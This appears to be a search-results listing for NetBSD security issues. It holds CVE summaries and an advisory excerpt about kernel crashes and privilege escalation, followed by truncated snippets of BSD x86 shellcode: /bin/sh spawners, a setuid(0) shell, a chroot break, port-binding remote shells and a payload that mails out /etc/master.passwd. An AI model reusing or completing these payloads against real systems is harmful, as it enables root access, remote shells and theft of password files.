1273 matches found
CVE-2004-1323
CVE-2004-1323 affects NetBSD prior to 2.0. The issue arises in the compat subsystem where multiple syscalls (notably xxx_sys_kill and xxx_sys_sigaction) can be misused by passing a large signal number, potentially triggering a kernel crash and denial of service. The available documents consistent...
CVE-2004-1323
Multiple syscalls in the compat subsystem for NetBSD before 2.0 allow local users to cause a denial of service kernel crash via a large signal number to 1 xxxsyskill, 2 xxxsyssigaction, and possibly other translation functions...
CVE-2004-1323: Undefined Security Weakness
Multiple syscalls in the compat subsystem for NetBSD before 2.0 allow local users to cause a denial of service kernel crash via a large signal number to 1 xxxsyskill, 2 xxxsyssigaction, and possibly other translation functions...
CVE-2004-2012
The systraceexit function in the systrace utility for NetBSD-current and 2.0 before April 16, 2004, and certain FreeBSD ports, does not verify the owner of the /dec/systrace connection before setting euid to 0, which allows local users to gain root privileges...
CVE-2004-1374
Multiple buffer overflows in NetBSD kernel may allow local users to execute arbitrary code and gain privileges...
NetBSD compat subsystems privilege escalation
Some emulated syscalls do insuficcient check for arguments...
NetBSD Security Advisory 2004-010: Insufficient argument validation in compat code
-----BEGIN PGP SIGNED MESSAGE----- NetBSD Security Advisory 2004-010 ================================= Topic: Insufficient argument validation in compat code Version: NetBSD-current: source prior to Oct 27, 2004 NetBSD 2.0: not affected NetBSD 1.6.2: affected NetBSD 1.6.1: affected NetBSD 1.6:...
NetBSD kernel local vulnerabilities
Name: NetBSD kernel local vulnerabilities Date: Dec 18, 2004 Author: Evgeny Demidov Description: There exists multiple vulnerabilities in NetBSD binary compatibility code. They can be approximately divided into two parts: 1 signal number validation problems in xxxsyskill,xxxsyssigaction and simil...
CVE-2004-1323
Multiple syscalls in the compat subsystem for NetBSD before 2.0 allow local users to cause a denial of service kernel crash via a large signal number to 1 xxxsyskill, 2 xxxsyssigaction, and possibly other translation functions...
CVE-2004-0257
OpenBSD 3.4 and NetBSD 1.6 and 1.6.1 allow remote attackers to cause a denial of service crash by sending an IPv6 packet with a small MTU to a listening port and then issuing a TCP connect to that port...
netbsd/x86 execve /bin/sh 68 bytes
netbsd/x86 execve /bin/sh 68 bytes. Shellcode exploit for netbsdx86 platform / NetBSD execve of /bin/sh by humble of Rhino9 / char shellcode = "\xeb\x23" "\x5e" "\x8d\x1e" "\x89\x5e\x0b" "\x31\xd2" "\x89\x56\x07" "\x89\x56\x0f" "\x89\x56\x14" "\x88\x56\x19" "\x31\xc0" "\xb0\x3b" "\x8d\x4e\x0b"...
bsd/x86 cat /etc/master.passwd | mail [email] 92 bytes
Exploit for bsd/x86 platform in category shellcode ====================================================== bsd/x86 cat /etc/master.passwd | mail email 92 bytes ====================================================== / BSD version FreeBSD, OpenBSD, NetBSD. email protected 92 bytes. execve/bin/sh -c...
netbsd/x86 execve /bin/sh 68 bytes
Exploit for netbsd/x86 platform in category shellcode ================================== netbsd/x86 execve /bin/sh 68 bytes ================================== / NetBSD execve of /bin/sh by humble of Rhino9 / char shellcode = "\xeb\x23" "\x5e" "\x8d\x1e" "\x89\x5e\x0b" "\x31\xd2" "\x89\x56\x07"...
bsd/x86 break chroot 45 bytes
No description provided by source. / BSD version FreeBSD, OpenBSD, NetBSD. [email protected] 45 bytes. -break chrooted / char shellcode= "\x68\x62\x2e\x2e\x2e" / pushl $0x2e2e2e62 / "\x89\xe7" / movl %esp,%edi / "\x33\xc0" / xorl %eax,%eax / "\x88\x47\x03" / movb %al,0x3%edi / "\x57" /...
netbsd/x86 execve /bin/sh 68 bytes
No description provided by source. / NetBSD execve of /bin/sh by humble of Rhino9 / char shellcode = "\xeb\x23" "\x5e" "\x8d\x1e" "\x89\x5e\x0b" "\x31\xd2" "\x89\x56\x07" "\x89\x56\x0f" "\x89\x56\x14" "\x88\x56\x19" "\x31\xc0" "\xb0\x3b" "\x8d\x4e\x0b" "\x89\xca" "\x52" "\x51" "\x53" "\x50"...
bsd/x86 portbind port random 143 bytes
No description provided by source. Here is a BSD remote shellcode. Tested on NetBSD . SHould work on FreeBSD and OpenBSD . by MayheM ExileCrew www.exile2k.org / 143 bytes / char shellcode = "\x31\xC0" "\x50" "\x50" "\xB0\x17" "\xCD\x80" // setuid "\x31\xC0" "\x50" "\x50" "\xB0\xB5" "\xCD\x80" //...
bsd/x86 - execve /bin/sh ENCRYPT* 57 bytes
bsd/x86 execve /bin/sh ENCRYPT 57 bytes. Shellcode exploit for bsdx86 platform / BSD version FreeBSD, OpenBSD, NetBSD. [email protected] 57 bytes. -Encriptado execve/bin/sh; Para mas informacion ver http://www.shellcode.com.ar/es/proyectos.html / char shellcode=...
bsd/x86 execve /bin/sh setuid (0) 29 bytes
Exploit for bsd/x86 platform in category shellcode ========================================== bsd/x86 execve /bin/sh setuid 0 29 bytes ========================================== / BSD version FreeBSD, OpenBSD, NetBSD. email protected 29 bytes. -setuid0; -execve/bin/sh; / char shellcode= "\x31\xc0...
bsd/x86 portbind port random 143 bytes
Exploit for bsd/x86 platform in category shellcode ====================================== bsd/x86 portbind port random 143 bytes ====================================== Here is a BSD remote shellcode. Tested on NetBSD . SHould work on FreeBSD and OpenBSD . by MayheM ExileCrew www.exile2k.org / 143...
